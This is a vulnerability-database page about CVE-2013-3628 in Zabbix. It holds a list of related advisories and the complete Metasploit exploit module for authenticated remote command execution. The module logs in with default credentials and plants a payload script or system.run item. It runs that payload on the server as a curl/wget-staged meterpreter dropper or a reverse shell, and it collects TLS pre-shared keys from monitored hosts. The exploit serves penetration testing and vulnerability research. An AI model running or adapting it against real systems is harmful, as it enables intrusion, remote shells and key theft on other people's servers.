| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Zabbix Authenticated Remote Command Execution Vulnerability | 31 Oct 201300:00 | – | zdt | |
| CVE-2013-3628 | 31 Oct 201300:00 | – | circl | |
| CVE-2013-3628 | 7 Feb 202014:19 | – | cve | |
| CVE-2013-3628 | 7 Feb 202014:19 | – | cvelist | |
| Zabbix - (Authenticated) Remote Command Execution (Metasploit) | 31 Oct 201300:00 | – | exploitdb | |
| CVE-2013-3628 | 7 Feb 202015:15 | – | nvd | |
| Zabbix Authenticated Remote Command Execution | 30 Oct 201300:00 | – | packetstorm | |
| Command injection | 7 Feb 202015:15 | – | prion | |
| CVE-2013-3628 | 22 May 202511:29 | – | redhatcve | |
| SUSE CVE-2013-3628 | 15 Feb 202305:37 | – | susecve |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Retry
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zabbix Authenticated Remote Command Execution',
'Description' => %q{
ZABBIX allows an administrator to create scripts that will be run on hosts.
An authenticated attacker can create a script containing a payload, then a host
with an IP of 127.0.0.1 and run the arbitrary script on the ZABBIX host.
This module was tested against Zabbix v2.0.9, v2.0.5, v3.0.1, v4.0.18, v5.0.17, v6.0.0.
},
'License' => MSF_LICENSE,
'Author' => [
'Brandon Perry <bperry.volatile[at]gmail.com>', # Discovery / msf module
'lap1nou <lapinousexy[at]gmail.com>' # Update of the module / Item technique
],
'References' => [
['CVE', '2013-3628'],
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']
],
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Linux Dropper', {
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'curl', 'wget', 'printf' ],
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => 'curl',
'MeterpreterTryToFork' => true,
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command', {
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse'
}
}
]
],
'DisclosureDate' => '2013-10-30',
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 60 },
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'Admin']),
OptString.new('PASSWORD', [ true, 'Password to authenticate with', 'zabbix']),
OptString.new('TARGETURI', [ true, 'The URI of the Zabbix installation', '/zabbix/']),
OptString.new('TLS_PSK_IDENTITY', [ false, 'The TLS identity', '']),
OptString.new('TLS_PSK', [ false, 'The TLS PSK', '']),
OptEnum.new('TECHNIQUE', [ true, 'Choose if the module must use script or item way of achieving RCE, item is only available on Zabbix server >= 3.0 and the AllowKey=system.run[*] directive should be enabled', 'script', ['script', 'item']]),
OptInt.new('TIMEOUT', [ false, 'The last API calls made can take some amount of time to complete, this is the timeout to wait', 120])
]
)
end
def check
auth_token = login
zabbix_version = get_version
str = rand_text_alpha(18)
script_id = create_script(auth_token, zabbix_version, "echo #{str}")
group_id = find_group_id(auth_token)
host_id = create_host(auth_token, group_id)
resp = execute_script(auth_token, host_id, script_id)
if resp.get_json_document.dig('result', 'value').gsub("\n", '') == str
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def send_json_api_request(method, auth_token = nil, params = {})
resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api_jsonrpc.php'),
'data' => {
'auth' => auth_token,
'id' => 1,
'jsonrpc' => '2.0',
'method' => method,
'params' => params
}.to_json,
'ctype' => 'application/json-rpc'
})
fail_with(Failure::Unreachable, "The server didn't respond") if resp.nil?
json_document = resp.get_json_document
fail_with(Failure::UnexpectedReply, 'The server response is empty') if json_document.empty?
return json_document
end
def get_interfaceid(auth_token, host_id)
params = {
'hostids' => host_id,
'output' => 'extend'
}
resp = send_json_api_request('hostinterface.get', auth_token, params)
return resp['result'][0]['interfaceid']
end
def create_item(auth_token, host_id, payload)
interface_id = get_interfaceid(auth_token, host_id)
item_title = rand_text_alpha(18)
@item_title = item_title
print_status("Creating an item called #{item_title}")
params = {
'delay' => 30,
'hostid' => host_id,
'interfaceid' => interface_id,
'key_' => "system.run[#{payload},nowait]",
'name' => item_title,
'type' => 0,
'value_type' => 3
}
send_json_api_request('item.create', auth_token, params)
vprint_good('Successfully created an item')
end
def create_script(auth_token, zabbix_version, payload)
script_title = rand_text_alpha(18)
@script_title = script_title
print_status("Creating a script called #{script_title}")
params = {
'command' => payload,
'name' => script_title,
'type' => 0
}
if zabbix_version >= Rex::Version.new('5.4.0')
params[:scope] = 2
end
resp = send_json_api_request('script.create', auth_token, params)
script_id = resp.dig('result', 'scriptids', 0)
@script_id = script_id
return script_id
end
def execute_script(auth_token, host_id, script_id)
print_status('Executing the script...')
retry_until_truthy(timeout: datastore['TIMEOUT']) do
params = {
'scriptid' => script_id.to_s,
'hostid' => host_id.to_s
}
resp = send_json_api_request('script.execute', auth_token, params)
next if !resp['error'].nil?
return resp
end
end
def find_tls_psk(auth_token)
print_status('Searching for a TLS PSK (pre-shared key)...')
resp = send_json_api_request('host.get', auth_token)
# Searching for a PSK
resp['result'].each do |host|
next if host['tls_psk'].to_s.strip.empty?
print_good("Found a TLS PSK '#{host['tls_psk']}' for the identity '#{host['tls_psk_identity']}', setting them...")
datastore['TLS_PSK'] = host['tls_psk']
datastore['TLS_PSK_IDENTITY'] = host['tls_psk_identity']
break
end
end
def exploit_script(auth_token, zabbix_version)
case target['Type']
when :unix_cmd
script_id = create_script(auth_token, zabbix_version, payload.encoded)
when :linux_dropper
script_id = create_script(auth_token, zabbix_version, generate_cmdstager.join)
end
group_id = find_group_id(auth_token)
host_id = create_host(auth_token, group_id)
execute_script(auth_token, host_id, script_id)
end
def exploit_item(auth_token)
group_id = find_group_id(auth_token)
if datastore['TLS_PSK'] == '' || datastore['TLS_PSK_IDENTITY'] == ''
find_tls_psk(auth_token)
end
host_id = create_host(auth_token, group_id)
case target['Type']
when :unix_cmd
create_item(auth_token, host_id, payload.encoded)
when :linux_dropper
create_item(auth_token, host_id, generate_cmdstager.join)
end
end
def find_group_id(auth_token)
print_status('Getting a valid group id...')
params = {
'output' => 'extend'
}
resp = send_json_api_request('hostgroup.get', auth_token, params)
group_id = resp.dig('result', 0, 'groupid')
@group_id = group_id
if !group_id.nil?
vprint_good('Successfully got a valid groupid')
end
return group_id
end
def create_host(auth_token, group_id)
host = rand_text_alpha(18)
@host_name = host
print_status("Creating a host called #{host}")
params = {
'groups' => [
{
'groupid' => group_id
}
],
'host' => host,
'interfaces' => [
{
'dns' => '',
'ip' => '127.0.0.1',
'main' => 1,
'port' => '10050',
'type' => 1,
'useip' => 1
}
]
}
if datastore['TLS_PSK_IDENTITY'] != '' || datastore['TLS_PSK'] != ''
params[:tls_connect] = 2
params[:tls_psk_identity] = datastore['TLS_PSK_IDENTITY']
params[:tls_psk] = datastore['TLS_PSK']
end
resp = send_json_api_request('host.create', auth_token, params)
host_id = resp.dig('result', 'hostids', 0)
@host_id = host_id
vprint_good('Successfully created an host')
return host_id
end
def login
params = {
'password' => datastore['PASSWORD'],
'user' => datastore['USERNAME']
}
resp = send_json_api_request('user.login', nil, params)
auth_token = resp['result']
@auth_token = auth_token
if !auth_token.nil?
print_good('Successfully logged in')
end
return auth_token
end
def get_version
resp = send_json_api_request('apiinfo.version')
version = Rex::Version.new(resp['result'])
@zabbix_version = version
if !version.nil?
vprint_status("Zabbix version number #{version}")
end
return version
end
def exploit
version = get_version
auth_token = login
if datastore['TECHNIQUE'] == 'script'
exploit_script(auth_token, version)
elsif datastore['TECHNIQUE'] == 'item'
exploit_item(auth_token)
end
end
def delete_host(auth_token, host_id, host_name, zabbix_version)
params = {}
if zabbix_version < Rex::Version.new('2.2.0')
params = [ { 'hostid' => host_id } ]
else
params = [ host_id ]
end
resp = send_json_api_request('host.delete', auth_token, params)
if !resp['result'].nil?
vprint_good("Successfully deleted '#{host_name}' host")
else
print_warning("Couldn't delete the host '#{host_name}'")
end
end
def delete_script(auth_token, script_id, script_title)
params = [ script_id ]
resp = send_json_api_request('script.delete', auth_token, params)
if !resp['result'].nil?
vprint_good("Successfully deleted '#{script_title}' script")
else
print_warning("Couldn't delete the script '#{script_title}'")
end
end
def cleanup
return unless @host_id
delete_host(@auth_token, @host_id, @host_name, @zabbix_version)
return unless @script_id
delete_script(@auth_token, @script_id, @script_title)
ensure
super
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation